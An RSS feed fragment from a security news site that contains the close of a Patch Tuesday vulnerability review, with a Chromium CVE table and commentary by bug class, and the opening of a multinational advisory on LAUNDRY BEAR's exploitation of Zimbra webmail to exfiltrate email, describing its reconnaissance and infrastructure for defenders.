  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5887">CVE-2026-5887 *</a></td>
  <td>Chromium: CVE-2026-5887 Insufficient validation of untrusted input in Downloads</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5888">CVE-2026-5888 *</a></td>
  <td>Chromium: CVE-2026-5888 Uninitialized Use in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5889">CVE-2026-5889 *</a></td>
  <td>Chromium: CVE-2026-5889 Cryptographic Flaw in PDFium</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5890">CVE-2026-5890 *</a></td>
  <td>Chromium: CVE-2026-5890 Race in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5891">CVE-2026-5891 *</a></td>
  <td>Chromium: CVE-2026-5891 Insufficient policy enforcement in browser UI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5892">CVE-2026-5892 *</a></td>
  <td>Chromium: CVE-2026-5892 Insufficient policy enforcement in PWAs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5893">CVE-2026-5893 *</a></td>
  <td>Chromium: CVE-2026-5893 Race in V8</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5894">CVE-2026-5894 *</a></td>
  <td>Chromium: CVE-2026-5894 Inappropriate implementation in PDF</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5895">CVE-2026-5895 *</a></td>
  <td>Chromium: CVE-2026-5895 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5896">CVE-2026-5896 *</a></td>
  <td>Chromium: CVE-2026-5896 Policy bypass in Audio</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5897">CVE-2026-5897 *</a></td>
  <td>Chromium: CVE-2026-5897 Incorrect security UI in Downloads</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5898">CVE-2026-5898 *</a></td>
  <td>Chromium: CVE-2026-5898 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5899">CVE-2026-5899 *</a></td>
  <td>Chromium: CVE-2026-5899 Incorrect security UI in History Navigation</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5900">CVE-2026-5900 *</a></td>
  <td>Chromium: CVE-2026-5900 Policy bypass in Downloads</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5901">CVE-2026-5901 *</a></td>
  <td>Chromium: CVE-2026-5901 Policy bypass in DevTools</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5902">CVE-2026-5902 *</a></td>
  <td>Chromium: CVE-2026-5902 Race in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5903">CVE-2026-5903 *</a></td>
  <td>Chromium: CVE-2026-5903 Policy bypass in IFrameSandbox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5904">CVE-2026-5904 *</a></td>
  <td>Chromium: CVE-2026-5904 Use after free in V8</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5905">CVE-2026-5905 *</a></td>
  <td>Chromium: CVE-2026-5905 Incorrect security UI in Permissions</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5906">CVE-2026-5906 *</a></td>
  <td>Chromium: CVE-2026-5906 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5907">CVE-2026-5907 *</a></td>
  <td>Chromium: CVE-2026-5907 Insufficient data validation in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5908">CVE-2026-5908 *</a></td>
  <td>Chromium: CVE-2026-5908 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5909">CVE-2026-5909 *</a></td>
  <td>Chromium: CVE-2026-5909 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5910">CVE-2026-5910 *</a></td>
  <td>Chromium: CVE-2026-5910 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5911">CVE-2026-5911 *</a></td>
  <td>Chromium: CVE-2026-5911 Policy bypass in ServiceWorkers</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5912">CVE-2026-5912 *</a></td>
  <td>Chromium: CVE-2026-5912 Integer overflow in WebRTC</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5913">CVE-2026-5913 *</a></td>
  <td>Chromium: CVE-2026-5913 Out of bounds read in Blink</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5914">CVE-2026-5914 *</a></td>
  <td>Chromium: CVE-2026-5914 Type Confusion in CSS</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5915">CVE-2026-5915 *</a></td>
  <td>Chromium: CVE-2026-5915 Insufficient validation of untrusted input in WebML</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5918">CVE-2026-5918 *</a></td>
  <td>Chromium: CVE-2026-5918 Inappropriate implementation in Navigation</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5919">CVE-2026-5919 *</a></td>
  <td>Chromium: CVE-2026-5919 Insufficient validation of untrusted input in WebSockets</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33118">CVE-2026-33118</a></td>
  <td>Microsoft Edge (Chromium-based) Spoofing Vulnerability</td>
  <td>Low</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
</tbody></table>
  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, there are three Office-related bugs where the Preview Pane is once again listed as an exploit vector. I would still like to have a full-proof way of disabling the Preview Pane, but I don’t see that as an option. There’s a bug in the RDP client, but that involves connecting to a malicious RDP server. The bug in Active Directory requires authentication and a network adjacent attacker. The final Critical-rated bug is an interesting DoS in .NET Framework. An unauthenticated attacker could deny service over a network – presumably crippling any affected app made in .NET. You rarely see Critical-rated DoS bugs, but this one deserves the moniker.</p><p class="">Moving on to the other code execution bugs, you have quite a few open-and-own bugs in Office components, most notably Excel, where the Preview Pane is not an attack vector. The bug in SQL Server requires authentication, and as usual, additional steps are needed to ensure you have the correct update to remediate this vulnerability. The two bugs in Hyper-V almost reads like a privilege escalation since it allows unauthorized attackers to execute code locally. That’s the same for the bugs in the Windows Snipping Tool and the UPnP Device host. </p><p class="">More than half of this release addresses Elevation of Privilege (EoP) bugs. However, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. The bugs in SQL Server could allow an attacker to gain SQL sysadmin privileges. One of the kernel bugs simply states an attacker could “elevate privileges locally”. How obtuse. That’s similar for the bug in afd.sys and Desktop Windows Manager, but Microsoft also states that these bugs could crash an affected system. There are several bugs that result in a sandbox escape, including Windows Push Notifications, AFD for Winsock, Management Services, and User Interface Core. Of these, CVE-2026-26167 (Push Notifications) is the most notable — it's the only one with low attack complexity, meaning no race condition needed. The rest all require winning a race condition (AC:H). The bugs in UPnP are interesting as they allow attackers to gain access to a limited set of administrator-protected objects. Not a full escalation but definitely getting access to resources they shouldn’t. The vulnerability in the Brokering File System allows attackers to gain the level of the logged on user, so don’t do your normal activities as a user with admin privileges. The bug in Azure Monitor Agent leads to root-level access. </p><p class="">There are a dozen different security features bypass bugs in the April release. Some of these are obvious by the title alone. For example, the bugs in Windows Hello bypass safety features within the Hello app itself. The bug in the Biometric Service allows attackers to bypass biometric protections. The vulns in BitLocker and Secure Boot bypass protections in those components. The bug in Power Apps allows attackers to bypass a security warning dialog and trick targets into triggering an external protocol call that performs unintended actions on the user’s device. The bug in Windows Shell allows attackers to bypass Mark of the Web (MotW) protections. The bug in PowerShell could almost be described as a code execution bug as exploiting it bypasses dynamic-expression security checks, which could result in code execution. The vulnerability in the Windows Recovery Environment allows local attackers to bypass BitLocker device encryption. Finally, the bug in Virtualization‑Based Security (VBS) is the most interesting of the bunch – and not just because VBS is a (relatively) new feature. The problem allows attackers to manipulate allow a compromised Windows kernel to modify memory belonging to the secure kernel, breaking the intended isolation guarantees provided by VBS. Somewhat of a sandbox escape, but this time, you’re escaping from Virtual Trust Level 0 (VTL0) to Virtual Trust Level 1 (VTL1). Neat.</p><p class="">Moving on to the Information Disclosure bugs fixed this month, we have 20 different CVEs. Fortunately, most of these simply result in info leaks consisting of unspecified memory contents or memory addresses. While useful in crafting exploits, they aren’t exactly exciting on their own. There are also several bugs that disclose addresses from an object a contained in a sandboxed execution environment. This includes bugs in the Print Spooler, Package Catalog, and Web Account Manager. The bug in Dynamics 365 discloses the ever ineffable “sensitive information”. There are three different info disclosure bugs in UPnP. Two allow an attacker to read from the file system, while the third discloses anything available to the LOCAL SERVICE account. The final info disclosure bug resides in Copilot and Visual Studio and allows attackers to disclose the contents of the Model Context Protocol (MCP) when using Copilot. There are those who think MCP is dead (thanks to agentic AI agents), but if you’re using a custom MCP, I doubt you would want it leaked.</p><p class="">The April release contains just a handful of Spoofing bugs. Some, like the bugs in .NET, Active Directory, and Windows Shell, just say that they allow spoofing over a network. Others, like the bug in Windows Snipping Tool, say similar but also note that it could be used to relay NTLMv2 hashes. The patch for RDP <a href="https://go.microsoft.com/fwlink/?linkid=2347342">notes</a> that there are new warning dialogs coming this month. The bug in the Windows Admin Center would allow an attacker to interact with other tenant’s applications and content. Finally, the spoofing bug in SharePoint is another XSS issue.</p><p class="">There are eight DoS bugs in the April release, but as always, Microsoft provides no actionable information about the vulnerabilities. Microsoft does offer a mitigation for the http.sys bug that can be applied while you test and deploy the patch, but I would rely on the patch rather than the mitigation. Another exception is the bug for Connected User Experiences and Telemetry Service, which allows attackers to deny service locally rather than over the network.</p><p class="">The final(!) bug in the April release is a Tampering bug in WSUS that reads like a DoS. According to Microsoft, “An attacker can send specially crafted packets which could affect availability of the service and result in Denial of Service (DoS).” But sure – let’s call it Tampering. </p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I will be in Berlin for the next Patch Tuesday, which will be May 12, and I’ll provide my full thoughts then on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
